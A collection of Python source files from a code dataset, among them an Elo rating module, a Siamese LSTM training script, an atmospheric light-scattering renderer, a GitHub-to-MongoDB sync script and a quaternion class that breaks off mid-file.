+{"seq_id":"44540049","text":"\"\"\"\nA super basic implementation of the ELO ranking algorithm. The advantage\nof this algorithm is that it's very simple and does not require any more information\nthan an individual match in order to update rankings.\n\nThe downside is that ELO doesn't take into account the actual score, just a win/lose.\n\nIt updates rankings step-wise, and is expected to be called for each game in succession.\n\nhttp://en.wikipedia.org/wiki/Elo_rating_system\n\nEspecially: see http://en.wikipedia.org/wiki/Elo_rating_system#Mathematical_details\n\"\"\"\nimport logging\nMAX_INCREASE = 32\nINITIAL_RANK = 1500.0\n\ndef update_ranks(game):\n logging.info('Updating rankings based on game %s' % game)\n logging.info('Winner: %s' % game.winner)\n logging.info('Prior ranks: (%s, %s) (%s, %s)' %\n (game.player_1.pseudonym, game.player_1.rank, game.player_2.pseudonym, game.player_2.rank))\n\n player_1 = game.player_1\n player_2 = game.player_2\n\n expected_1 = expected(player_2.rank, player_1.rank)\n expected_2 = expected(player_1.rank, player_2.rank)\n\n if game.winner.key() == game.player_1.key():\n score_1 = 1\n score_2 = 0\n elif game.winner.key() == game.player_2.key():\n score_1 = 0\n score_2 = 1\n else:\n raise \"No winner. Something went wrong.\"\n\n update_player_rank(player_1, score_1, expected_1)\n update_player_rank(player_2, score_2, expected_2)\n\n logging.info('Resulting ranks: (%s, %s) (%s, %s)' %\n (game.player_1.pseudonym, game.player_1.rank, game.player_2.pseudonym, game.player_2.rank))\n\n\ndef expected(rank_1, rank_2):\n return 1 / (1 + 10 ** (float(rank_1 - rank_2) / 400))\n\ndef update_player_rank(player, score, expected):\n logging.info('Updating player rank based on score: %s and expected score: %s' % (score, expected))\n player.rank += (MAX_INCREASE * (score - expected))\n\ndef max_increase(rank):\n \"\"\"\n Determines the maximum possible points that a player can get in any given match\n see http://en.wikipedia.org/wiki/Elo_rating_system#Most_accurate_K-factor\n \"\"\"\n if rank <= 2100:\n return 32\n if 2100 < rank <= 2400:\n return 24\n if 2400 < rank:\n return 16\n\n","sub_path":"lib/elo.py","file_name":"elo.py","file_ext":"py","file_size_in_byte":2108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"258046471","text":"\"\"\" Message Type Definitions, organized by class\n\"\"\"\n\n\nclass UI:\n FAMILY = \"ui\"\n VERSION = \"1.0\"\n BASE = \"did:sov:BzCbsNYhMrjHiqZDTUASHg;spec/\" + FAMILY + \"/\" + VERSION + \"/\"\n\n STATE = BASE + \"state\"\n STATE_REQUEST = BASE + \"state_request\"\n INITIALIZE = BASE + \"initialize\"\n\nclass CONN_UI:\n FAMILY = \"connections_ui\"\n VERSION = \"1.0\"\n BASE = \"did:sov:BzCbsNYhMrjHiqZDTUASHg;spec/\" + FAMILY + \"/\" + VERSION + \"/\"\n\n SEND_INVITE = BASE + \"send_invite\"\n INVITE_SENT = BASE + \"invite_sent\"\n INVITE_RECEIVED = BASE + \"invite_received\"\n\n REQUEST_RECEIVED = BASE + \"request_received\"\n RESPONSE_RECEIVED = BASE + \"response_received\"\n MESSAGE_RECEIVED = BASE + \"message_received\"\n\n SEND_REQUEST = BASE + \"send_request\"\n REQUEST_SENT = BASE + \"request_sent\"\n\n SEND_RESPONSE = BASE + \"send_response\"\n RESPONSE_SENT = BASE + \"response_sent\"\n\n SEND_MESSAGE = BASE + \"send_message\"\n MESSAGE_SENT = BASE + \"message_sent\"\n\nclass ADMIN_WALLETCONNECTION:\n FAMILY = \"admin_walletconnection\"\n VERSION = \"1.0\"\n BASE = \"did:sov:BzCbsNYhMrjHiqZDTUASHg;spec/\" + FAMILY + \"/\" + VERSION + \"/\"\n\n CONNECT = BASE + \"connect\"\n DISCONNECT = BASE + \"disconnect\"\n USER_ERROR = BASE + \"user_error\"\n\nclass CONN:\n FAMILY = \"connections\"\n VERSION = \"1.0\"\n BASE = \"did:sov:BzCbsNYhMrjHiqZDTUASHg;spec/\" + FAMILY + \"/\" + VERSION + \"/\"\n\n INVITE = BASE + \"invite\"\n REQUEST = BASE + \"request\"\n RESPONSE = BASE + \"response\"\n MESSAGE = BASE + \"message\"\n\n\nclass FORWARD:\n BASE = \"did:sov:BzCbsNYhMrjHiqZDTUASHg;spec/routing/1.0/\"\n\n FORWARD_TO_KEY = BASE + \"forward_to_key\"\n FORWARD = BASE + \"forward\"\n","sub_path":"python/message_types.py","file_name":"message_types.py","file_ext":"py","file_size_in_byte":1666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"487315323","text":"from django.urls import path\nfrom . import views\n\napp_name='mysite'\nurlpatterns = [\n path('',views.reg),\n path('site',views.site),\n path('register/',views.Register,name='register'),\n path('login/',views.UserLogin,name='login'),\n path('logout/',views.UserLogout,name='login'),\n path('site2',views.st),\n path('site3',views.st2, name='new'),\n]\n\n","sub_path":"PRJ/mysite/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"26958494","text":"# -*- coding: utf-8 -*-\nimport string\nimport time\nimport math\n\nfrom datetime import datetime\nfrom gensim.models import word2vec\nimport numpy as np\n\nimport torch\nfrom torch.autograd import Variable\nfrom model import Siamese_lstm\nimport torch.nn as nn\n\n\n# 输入:文件名\n# 输出:二维矩阵,每一行代表一个训练样本里的两个句子以及相似度\ndef load_data(filename):\n file = open(filename, 'r', encoding='utf-8')\n result = []\n for line in file:\n # 取第4列到第6列\n # 分别是 相似度 句子1 句子2\n temp = []\n li = line.split('\\t')[4:7]\n temp.append(float(li[0]))\n for sentence in [li[1], li[2]]:\n for punc in string.punctuation:\n sentence = sentence.replace(punc, ' ')\n sentence = sentence.replace(' ', ' ')\n sentence = sentence.strip().split(' ')\n\n temp.append(sentence)\n result.append(temp)\n\n return result\n\n\n# 构建词典\n# 输入是train和dev的数据\ndef get_word_dict(train_data, dev_data):\n word_set = set()\n dict = {}\n # cnt储存字的位置\n cnt = 0\n for data in [train_data, dev_data]:\n for v in data:\n # 句子1和句子2\n for s in [v[1], v[2]]:\n for word in s:\n if word not in word_set:\n word_set.add(word)\n dict[word] = cnt\n cnt += 1\n return dict\n\n\n# 获得表示成向量的词语\n# 输入为数据,字典,以及预训练的embedding模型\ndef get_word_vect(data,word_dict,model):\n result=[]\n # 获取词典长度,加1是为了存放不在词典中出现的单词\n dict_len=len(word_dict)+1\n word_set=set(word_dict.keys())\n\n # 每个词的初始向量\n vector = [0] * 101\n\n # 对每一行操作\n for v in data:\n temp=[]\n temp.append(v[0])\n for s in [v[1],v[2]]:\n # 每个句子表示为二维矩阵,行数是词的个数,列数是词表的大小\n sentence=[]\n for word in s:\n # vector_copy=vector.copy()\n # if word in word_set:\n # vector_copy[word_dict[word]]=1\n # else:\n # vector_copy[-1]=1\n if word in model:\n word_vec=np.append(model[word],0)\n sentence.append([word_vec])\n else:\n vector_copy=vector.copy()\n vector_copy[-1]=1\n sentence.append([vector_copy])\n temp.append(sentence)\n result.append(temp)\n # print(temp)\n return result\n\n\ndef timeSince(since):\n now = time.time()\n s = now - since\n m = math.floor(s / 60)\n s -= m * 60\n return '%dm %ds' % (m, s)\n\n\nif __name__ == '__main__':\n # ------------------数据处理---------------------------------------\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n print(\"Now using: \" + str(device))\n\n # 开始时间\n prerocess_start = time.time()\n\n train_data_raw = load_data('data/sts-train.txt')\n dev_data_raw = load_data('data/sts-dev.txt')\n\n word_dict = get_word_dict(train_data_raw, dev_data_raw)\n # dict_len = len(word_dict) + 1\n dict_len=101\n print(\"The length of the word_list is \" + str(dict_len))\n\n # 获取与训练好的模型\n model = word2vec.Word2Vec.load('word2vec_corpus/word2vec.model')\n train_data = get_word_vect(train_data_raw, word_dict,model)\n dev_data = get_word_vect(dev_data_raw, word_dict,model)\n\n print(\"Done preprocessing data, spent \" + timeSince(prerocess_start))\n # ---------------------以上是数据处理部分----------------------------\n\n # ---------------------模型参数--------------------------\n # 输入向量的特征维度\n embed_size = dict_len\n batch_size = 1\n # 隐藏层维度\n hidden_size = 128\n # 单层 LSTM\n num_layers = 1\n # dropout概率\n drop_out_prob = 0\n # 初始化模型\n siamese = Siamese_lstm(embed_size, batch_size, hidden_size, num_layers, drop_out_prob)\n siamese = siamese.to(device)\n # -----------以上是模型参数部分-----------------------\n\n # 学习率\n learning_rate = 0.1\n # 优化器(梯度更新)\n optimizer = torch.optim.Adadelta(filter(lambda x: x.requires_grad, siamese.parameters()), lr=learning_rate)\n # 损失函数\n criterion = nn.MSELoss()\n criterion = criterion.to(device)\n\n # 最好的一次损失\n best_loss = float('inf')\n\n # 迭代次数\n n_epoch = 80\n epoch = 1\n\n train_start_time = time.time()\n\n # 记录所有epoch的训练损失\n all_train_mean_loss=[]\n # 开始训练\n while epoch <= n_epoch:\n print('Start Epoch {} Training...'.format(epoch))\n\n epoch_start_time = time.time()\n\n # loss\n train_loss = []\n\n for idx, data in enumerate(train_data):\n # 获取数据\n original_score = torch.tensor(data[0], dtype=torch.float32).to(device)\n sentence_tensor1 = torch.tensor(data[1], dtype=torch.float32).to(device)\n sentence_tensor2 = torch.tensor(data[2], dtype=torch.float32).to(device)\n\n # 清除梯度\n optimizer.zero_grad()\n # 输出\n output = siamese(sentence_tensor1, sentence_tensor2)\n\n # 如果第0维的值为1则去掉该维度\n # output = output.squeeze(0)\n original_score = Variable(original_score)\n original_score.to(device)\n\n # 误差反向传播\n loss = criterion(output, original_score)\n loss.backward()\n\n # 更新梯度\n optimizer.step()\n train_loss.append(loss.data.cpu())\n print(\"Train this epoch spent: \" + timeSince(epoch_start_time))\n train_mean_loss=sum(train_loss)/len(train_loss)\n print('Epoch %d train mean loss: %f' % (epoch, train_mean_loss))\n all_train_mean_loss.append(train_mean_loss)\n if epoch>=10 and all_train_mean_loss[-1]>all_train_mean_loss[-2]:\n learning_rate=learning_rate/2\n print('!!!!!!!'+str(learning_rate))\n for param_group in optimizer.param_groups:\n param_group['lr'] = learning_rate\n\n # loss\n valid_loss = []\n valid_start_time = time.time()\n for idx, data in enumerate(dev_data):\n original_score = torch.tensor(data[0], dtype=torch.float).to(device)\n sentence_tensor1 = torch.tensor(data[1], dtype=torch.float).to(device)\n sentence_tensor2 = torch.tensor(data[2], dtype=torch.float).to(device)\n\n # input\n output = siamese(sentence_tensor1, sentence_tensor2)\n # output = output.squeeze(0)\n\n original_score = Variable(original_score)\n original_score.to(device)\n\n # loss\n loss = criterion(output, original_score)\n valid_loss.append(loss.data.cpu())\n print(\"Eval this epoch spent: \" + timeSince(valid_start_time))\n print('Epoch %d valid mean loss: %f' % (epoch, sum(valid_loss) / len(valid_loss)))\n\n # 查看与最好的loss的差距\n if np.mean(valid_loss) < best_loss:\n best_loss = np.mean(valid_loss)\n torch.save(siamese.state_dict(), \"lstm_params_with_word_embedding.pkl\")\n # save the best model\n print(\"Epoch %d spent %s\" % (epoch, timeSince(epoch_start_time)))\n epoch += 1\n\n print(\"Train spent \" + timeSince(train_start_time))\n\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":7593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"32336855","text":"\nimport igraph\nfrom lnfa import lognormdd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom pylab import *\nimport pickle\nimport random as r\nimport math\nfrom binsearch import binsearch\n\n\n\nm=2; mu=0; sigma=1.; alpha=10.; nodes=1000; \n\ncn = [1,1]; ft=[]; fit =[];\ng = [[1],[0]];\ngraph = igraph.Graph()\ngraph.add_vertices(2)\ngraph.add_edges([(0,1)])\nft.append((r.lognormvariate(mu,sigma))**alpha); Fit = ft[0]; fit.append(Fit)\nft.append((r.lognormvariate(mu,sigma))**alpha); Fit += ft[1]; fit.append(Fit)\n\nfor j in range(2,nodes):\n g.append([]); cn.append(m);\n graph.add_vertices(1)\n for i in range(m):\n prob=r.uniform(0,Fit); n = binsearch(prob, fit, j);\n cn[n] += 1;\n g[n].append(j);\n g[j].append(n);\n graph.add_edges([(n,j)])\n ft.append((r.lognormvariate(mu,sigma))**alpha); Fit += ft[j]; fit.append(Fit)\n\nigraph.plot(graph, 'a10.pdf', layout=\"fr\", vertex_label=None,vertex_color=\"blue\", vertex_size=7, edge_width=.1, edge_color=\"gray\")\nigraph.plot(graph, 'a10B.pdf', layout=\"kk\", vertex_label=None, vertex_size=8, edge_width=.1)\n\n\nigraph.plot(graph, layout=\"fr\", vertex_label=None, vertex_size=5, edge_width=.3)\nigraph.plot(graph, layout=\"fr\", vertex_label=None, vertex_size=4, edge_width=.2)\n\n\n","sub_path":"Nonlinear/chigraphlnfa.py","file_name":"chigraphlnfa.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"196776439","text":"def alert_build(alert:dict):\n try:\n ts = alert['timestamp'].split('T')\n date = ts[0]\n time = ts[1].split('.')[0]\n\n if 'src_port' in alert.keys():\n src = \"{}:{}\".format(alert['src_ip'],alert['src_port'])\n else:\n src = alert['src_ip']\n if 'dest_port' in alert.keys():\n dst = \"{}:{}\".format(alert['dest_ip'],alert['dest_port'])\n else:\n dst = alert['dest_ip']\n except KeyError:\n return None\n\n return {'time':'{} {}'.format(date,time),\n 'src_dst':'{} -> {}'.format(src,dst),\n 'proto':alert['proto'],\n 'action':alert['alert']['action'],\n 'message':alert['alert']['signature']}\n","sub_path":"backend/sccontrol_helper/alert/alert.py","file_name":"alert.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"430186444","text":"#Ejercicio 7\n#Creá un programa que declare una lista y la vaya llenando de números leídos por teclado hasta \n#que se introduzca un número negativo. Una vez hecho esto se deben imprimir los elementos de la lista.\n\nlista = []\nnumero = int(input(\"Introduce un número en la lista:\"))\nwhile numero>=0:\n\tlista.append(numero)\n\tnumero = int(input(\"Introduce un número en la lista:\"))\n\nfor numero in lista:\n\tprint(numero,\" \",end=\"\")\n\n","sub_path":"TP2.py/2.7.py","file_name":"2.7.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"438359171","text":"from __future__ import print_function\nimport sys\n\ndef compress(seq):\n\n\tseq = seq.split()\n\tseq.reverse()\n\tresult = []\n\twhile seq:\n\t\tcurrent = seq.pop()\n\t\tcount = 1\n\t\t\n\t\twhile seq and (current == seq[-1]):\n\t\t\tcurrent = seq.pop()\n\t\t\tcount += 1\n\t\tresult.extend([str(count), current])\n\t\n\tfor val in result:\n\t\tprint(val, end=\" \")\n\tprint()\n\n\nwith open(sys.argv[1], 'r') as f:\n\n\tfor line in f:\n\t\tif line:\n\t\t\tline.rstrip()\n\t\t\tcompress(line)","sub_path":"codeeval/easy/128_compressed_sequence/compressedsequence.py","file_name":"compressedsequence.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"48875550","text":"# Libraries\r\nimport functions as fun\r\nimport numpy as np\r\nfrom constants import earth_radius, irradiance, mie_coeff, num_wavelengths, ozone_coeff, rayleigh_coeff\r\nfrom math import cos, exp, pi, radians, sin, sqrt, dist\r\nfrom properties import air_density, altitude, dust_density, ozone_density, steps, steps_light, sun_lat\r\n\r\n\r\n# Definitions\r\n# convert altitude from km to m and clamp to avoid intersection issues\r\ncam_altitude = 1000 * max(min(altitude, 59.999), 0.001)\r\ncam_pos = np.array([0, 0, earth_radius + cam_altitude])\r\n# convert sun latitude and longitude to vector\r\nsun_dir = fun.geographical_to_direction(radians(sun_lat), 0)\r\ncoefficients = np.array(\r\n [rayleigh_coeff, 1.11 * mie_coeff, ozone_coeff], dtype=np.object)\r\ndensity_multipliers = np.array([air_density, dust_density, ozone_density])\r\n\r\n\r\ndef ray_optical_depth(ray_origin, ray_dir):\r\n # optical depth along a ray through the atmosphere\r\n ray_end = fun.atmosphere_intersection(ray_origin, ray_dir)\r\n ray_length = dist(ray_origin, ray_end)\r\n # step along the ray in segments and accumulate the optical depth along each segment\r\n segment_length = ray_length / steps_light\r\n segment = segment_length * ray_dir\r\n optical_depth = np.zeros(3)\r\n # the density of each segment is evaluated at its middle\r\n P = ray_origin + 0.5 * segment\r\n\r\n for _ in range(steps_light):\r\n # height above sea level\r\n height = sqrt(np.dot(P, P)) - earth_radius\r\n # accumulate optical depth of this segment\r\n density = np.array([fun.density_rayleigh(\r\n height), fun.density_mie(height), fun.density_ozone(height)])\r\n optical_depth += density\r\n # advance along ray\r\n P += segment\r\n\r\n return optical_depth * segment_length\r\n\r\n\r\ndef single_scattering(ray_dir):\r\n # intersection between camera and top of atmosphere\r\n ray_end = fun.atmosphere_intersection(cam_pos, ray_dir)\r\n # distance from camera to top of atmosphere\r\n ray_length = dist(cam_pos, ray_end)\r\n # to compute the inscattering, we step along the ray in segments and\r\n # accumulate the inscattering as well as the optical depth along each segment\r\n segment_length = ray_length / steps\r\n segment = segment_length * ray_dir\r\n optical_depth = np.zeros(3)\r\n spectrum = np.zeros(num_wavelengths)\r\n # cosine of angle between camera and sun\r\n mu = np.dot(ray_dir, sun_dir)\r\n # phase functions (sr^-1)\r\n phase_function_R = fun.phase_rayleigh(mu)\r\n phase_function_M = fun.phase_mie(mu)\r\n # the density and in-scattering of each segment is evaluated at its middle\r\n P = cam_pos + 0.5 * segment\r\n\r\n for _ in range(steps):\r\n # height above sea level\r\n height = sqrt(np.dot(P, P)) - earth_radius\r\n # evaluate and accumulate optical depth along the ray\r\n densities = np.array([fun.density_rayleigh(\r\n height), fun.density_mie(height), fun.density_ozone(height)])\r\n density = density_multipliers * densities\r\n optical_depth += density * segment_length\r\n\r\n # if the Earth isn't in the way, evaluate inscattering from the sun\r\n if not fun.surface_intersection(P, sun_dir):\r\n optical_depth_light = ray_optical_depth(P, sun_dir)\r\n # attenuation of light\r\n extinction_density = (\r\n optical_depth + density_multipliers * optical_depth_light) * coefficients\r\n attenuation = np.exp(-np.sum(extinction_density))\r\n scattering_density_R = density[0] * rayleigh_coeff\r\n scattering_density_M = density[1] * mie_coeff\r\n # compute spectrum\r\n spectrum += attenuation * \\\r\n (phase_function_R * scattering_density_R +\r\n phase_function_M * scattering_density_M)\r\n\r\n # advance along ray\r\n P += segment\r\n\r\n # spectrum at pixel in radiance (W*m^-2*nm^-1*sr^-1)\r\n return irradiance * spectrum * segment_length\r\n","sub_path":"light.py","file_name":"light.py","file_ext":"py","file_size_in_byte":3947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"459234488","text":"import os\nimport datetime\n\ndef get_dates (): # Leave blank to select the current day or alter the dict to pick a date\n\tyear = str(datetime.datetime.now().year)\n\tmonth = str(datetime.datetime.now().month)\n\tday = str(datetime.datetime.now().day)\n\tday_of_year = datetime.datetime.now().timetuple().tm_yday\n\tdoy = str(day_of_year - 0) # set this to go back x number of days \n\t\t\n\tdate= {\n\t\"year\" : year,\n\t\"month\": month,\n\t\"day\" : day,\n\t\"doy\" : doy}\n\t\t\t\n\treturn date\n\ndates = get_dates()\n\t\nyears = [x for x in range(2000,2016)] # Does not look for 2016 data\n\nfor year in years:\n\tcommand = '''python3 fetch_historic.py Q1 {} {} Terra'''.format(str(year),dates['doy'])\n\tprint(command)\n\tos.system(command)\n\t\naqua_years = years[3:] # does not look for 2002 historic data \n\nfor year in aqua_years:\n\tcommand = '''python3 fetch_historic.py Q1 {} {} Aqua'''.format(str(year),dates['doy'])\n\tprint(command)\n\tos.system(command)\n","sub_path":"call_historic.py","file_name":"call_historic.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"462334758","text":"# encoding:UTF-8\nimport sys\n\nreload(sys)\nsys.setdefaultencoding('gbk')\n\nimport numpy as np\nfrom numpy.linalg import cholesky\nimport matplotlib.pyplot as plt\nimport pylab\n\n# 直方图\nsampleNo = 1000;\nmu = 85\nsigma = 4\nnp.random.seed(0)\ns = np.random.normal(mu, sigma, sampleNo)\nplt.hist(s, 30, normed=True)\npylab.show()\n\n# 线性图\nx = np.arange(1, 11)\ny = 2 * x + 5\nplt.title(\"Matplotlib demo\")\nplt.xlabel(\"x axis caption\")\nplt.ylabel(\"y axis caption\")\nplt.plot(x, y, 'vb')\nplt.show()\n\nx = np.arange(0, 3 * np.pi, 0.1)\nprint(x)\ny = np.sin(x)\nplt.title(\"sine wave form\")\n# 使用 matplotlib 来绘制点\nplt.plot(x, y)\nplt.show()\n\n# 计算正弦和余弦曲线上的点的 x 和 y 坐标\nx = np.arange(0, 3 * np.pi, 0.1)\ny_sin = np.sin(x)\ny_cos = np.cos(x)\n# 建立 subplot 网格,高为 2,宽为 1\n# 激活第一个 subplot\nplt.subplot(2, 1, 1)\n# 绘制第一个图像\nplt.plot(x, y_sin)\nplt.title('Sine')\n# 将第二个 subplot 激活,并绘制第二个图像\nplt.subplot(2, 1, 2)\nplt.plot(x, y_cos)\nplt.title('Cosine')\n# 展示图像\nplt.show()\n","sub_path":"PythonBase/data_visual/numpy/matplot.py","file_name":"matplot.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"536929175","text":"# -*- coding: utf-8 -*-\n\"\"\"Project metadata\n\nInformation describing the project.\n\"\"\"\n\n# The package name, which is also the \"UNIX name\" for the project.\npackage = 'doorpi'\nprog = 'DoorPi'\nproject = \"VoIP Door-Intercomstation with Raspberry Pi\"\nproject_no_spaces = project.replace(' ', '')\nversion = '2.3 #231'\ndescription = 'provide intercomstation to the doorstation by VoIP'\n\nauthors = ['Thomas Meissner']\nauthors_emails = ['motom001@gmail.com']\nauthors_string = ', '.join(authors)\nauthor_strings = []\nfor name, email in zip(authors, authors_emails):\n author_strings.append('{0} <{1}>'.format(name, email))\n\nsupporters = [\n 'Phillip Munz ',\n 'Hermann Dötsch ',\n 'Dennis Häußler ',\n 'Hubert Nusser ',\n 'Michael Hauer ',\n 'missing someone? -> sorry -> mail me'\n]\nsupporter_string = '\\n'.join(supporters)\n\nlicense = 'CC BY-NC 4.0, 2014-2015'\nurl = 'https://github.com/motom001/DoorPi'\nURL_DOORPI_WIKI = url+\"/wiki\"\n\n# created with: http://patorjk.com/software/taag/#p=display&f=Ogre&t=DoorPi\nepilog = '''\n ___ ___ _\n / \\___ ___ _ __ / _ (_) {project}\n / /\\ / _ \\ / _ \\| '__/ /_)/ | version: {version}\n / /_// (_) | (_) | | / ___/| | license: {license}\n/___,' \\___/ \\___/|_| \\/ |_| URL: <{url}>\n\nAuthors: {authors}\nSupporter: {supporters}\n'''.format(\n license = license,\n project = project,\n version = version,\n authors = '\\n'.join(author_strings),\n supporters = '\\n '.join(supporters),\n url = url)\n\n\n","sub_path":"doorpi/resources/metadata/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"442169658","text":"#!/opt/anaconda2/bin/python\n\nimport argparse\nimport random\n\nfrom gh_crawler import get_url\nfrom utils.config import get_config\nfrom utils.issuecollector3 import IssueCollector3\nfrom utils.mongo_tools import MongoTools\n\n\nclient,db = MongoTools.get_db()\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--cachedir\", type=str, default='/var/cache/github_dashboard')\nparser.add_argument(\"--start\", type=int)\nargs = parser.parse_args()\n\nconfig = get_config()\nIC = IssueCollector3(args)\nIC.list_issues()\nkeys = IC.get_all_issue_indexes()\n\nif args.start:\n keep = []\n for k in keys:\n number = k.split('/')[-1]\n number = int(number)\n if number >= args.start:\n keep.append(k)\n keys = keep\n\nissues = db.api_issues\nissue_ids = MongoTools.get_data_ids('issues', key='html_url')\npullrequests = db.api_pullrequests\npull_ids = MongoTools.get_data_ids('pullrequests', key='html_url')\ncomment_ids = MongoTools.get_data_ids('comments')\nevent_ids = MongoTools.get_data_ids('events')\nreaction_ids = MongoTools.get_data_ids('reactions')\n\ntotal = len(keys)\nfor idx,key in enumerate(keys):\n #print(key)\n\n ix = IC.index[key]\n raw = IC.get_issue_rawdata_by_key(key)\n\n for x in ['comments', 'events', 'reactions']:\n if not raw[x]:\n continue\n\n missing = []\n for y in raw[x]:\n\n if x == 'comments':\n if y['id'] not in comment_ids:\n missing.append(y)\n\n elif x == 'events':\n if y['id'] not in event_ids:\n missing.append(y)\n\n elif x == 'reactions':\n if y['id'] not in reaction_ids:\n missing.append(y)\n\n if missing:\n print('%s|%s %s' % (idx,total,key))\n res = MongoTools.insert_many_by_type(missing, dtype=x)\n #import epdb; epdb.st()\n\n url = raw['issue']['html_url']\n if url not in issue_ids:\n print('insert issue %s' % url)\n issues.insert_one(raw['issue'])\n elif raw['issue']['updated_at'] != issue_ids[url]:\n # need to udate in place\n issues.replace_one(\n {'html_url': url},\n raw['issue']\n )\n\n if raw['pullrequest']:\n if url not in pull_ids:\n print('insert pull %s' % url)\n pullrequests.insert_one(raw['pullrequest'])\n elif raw['pullrequest']['updated_at'] != pull_ids[url]:\n # need to udate in place\n pullrequests.replace_one(\n {'html_url': url},\n raw['pullrequest']\n )\n\n#import epdb; epdb.st()\nclient.close()\n","sub_path":"sync_mongo_data.py","file_name":"sync_mongo_data.py","file_ext":"py","file_size_in_byte":2616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"438468970","text":"import numpy as np\nimport cv2 as cv\nimport Distance\n\nimage = cv.imread(\"OtherImgs\\goodFrame1.png\")\n\nDistance.setDegPx(image)\ndist, ang, cent, cont = Distance.distanceToGoal(image)\n\ncv.circle(image, cent, 20, (0, 0, 255), 5)\ncv.drawContours(image, cont, 0, (255, 0, 0), 3)\n\ncv.line(image, (int(image.shape[1]/2), 0), (int(image.shape[1]/2), image.shape[0]), (0, 0, 255), 3, lineType=4)\n\ncv.putText(image, \"0.00deg\", (5, 32), cv.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 3, 8)\ncv.putText(image, \"0.00ft\", (5, 64), cv.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 3, 8)\ncv.putText(image, \"[MISS]\", (5, 96), cv.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 3, 8)\n\ncv.imshow(\"R-RAAS\", image)\ncv.waitKey(0)\ncv.destroyAllWindows()","sub_path":"ReadOutTest.py","file_name":"ReadOutTest.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"259693363","text":"from numbers import *\nfrom math import *\nimport copy\n\nmd = [[[1, 0, 0, 0], [0, 1, 0, 0], [0, 0, -1, 0], [0, 0, 0, -1]],\n [[1, 0, 0, 0], [0, -1, 0, 0], [0, 0, 1, 0], [0, 0, 0, -1]],\n [[1, 0, 0, 0], [0, -1, 0, 0], [0, 0, -1, 0], [0, 0, 0, 1]]]\n\n\nclass quat:\n # builder\n def __init__(self, a=0, b=0, c=0, d=0):\n self.q = [float(a), float(b), float(c), float(d)]\n\n # quaternion as string or for printing\n def __str__(self):\n a = ''\n lab = ['i', 'j', 'k']\n a = str(self.q[0])\n if self.q[1] >= 0:\n a = a + '+'\n for i in range(1, 3):\n if self.q[i + 1] < 0:\n a = a + str(self.q[i]) + lab[i - 1]\n elif self.q[i + 1] >= 0:\n a = a + str(self.q[i]) + lab[i - 1] + '+'\n\n a = a + str(self.q[3]) + lab[2]\n return a\n\n # addition of quaternions\n def __add__(self, ob2):\n s = quat()\n for i in range(4):\n s.q[i] = self.q[i] + ob2.q[i]\n return s\n # subtraction of quaternions\n\n def __sub__(self, ob2):\n s = quat()\n for i in range(4):\n s.q[i] = self.q[i] - ob2.q[i]\n return s\n\n # devuleve el negativo de un cuaterion\n def __neg__(self):\n s = quat()\n for i in range(4):\n s.q[i] = - self.q[i]\n return s\n\n # quaternion product (in R3 cross product)\n def __mul__(self, ob2):\n s = quat(0, 0, 0, 0)\n # matrices and vector used in quaternion product (not math just for the index of the quaternion\n or1 = [0, 1, 2, 3]\n or2 = [1, 0, 3, 2]\n\n v = [[1, -1, -1, -1], [1, 1, 1, -1], [1, -1, 1, 1], [1, 1, -1, 1]]\n m = [or1, or2, [i for i in reversed(or2)], [i for i in reversed(or1)]]\n for k in range(4):\n a = 0\n for i in range(4):\n # just for debugging print self.q[m[0][i]]\n # print ob2.q[m[k][i]]\n a = a + (self.q[m[0][i]]) * (float(v[k][i]) * ob2.q[m[k][i]])\n s.q[k] = a\n return s\n\n # product by scalar\n def __rmul__(self, ob):\n s = quat()\n for i in range(4):\n s.q[i] = self.q[i] * ob\n return s\n\n # division of quaternions, quat/quat\n def __div__(self, ob):\n s = quat()\n b = copy.deepcopy(ob)\n ob.C()\n c = (b * ob).q[0]\n s = (self * ob)\n a = (1 / c) * s\n ob.C()\n return a\n\n # norm of a quaternion returns an scalar\n def norm(self):\n s = 0\n for i in range(4):\n s = s + self.q[i] ** 2\n return float(s ** (0.5))\n\n # conjugates a quaternion a: a.C() -> a=a+bi+cj+dk --> a.C()=a-bi-cj-dk\n def C(self):\n s = self\n for i in range(1, 4):\n s.q[i] = s.q[i] * (-1)\n return s\n\n # devuelve el conjugado (no cambia el cuaternion)\n def conj(self):\n s = self\n t = quat(s.q[0], 0, 0, 0)\n for i in range(1, 4):\n t.q[i] = s.q[i] * (-1)\n return t\n\n # method used to create a rotation quaternion to rotate any vector 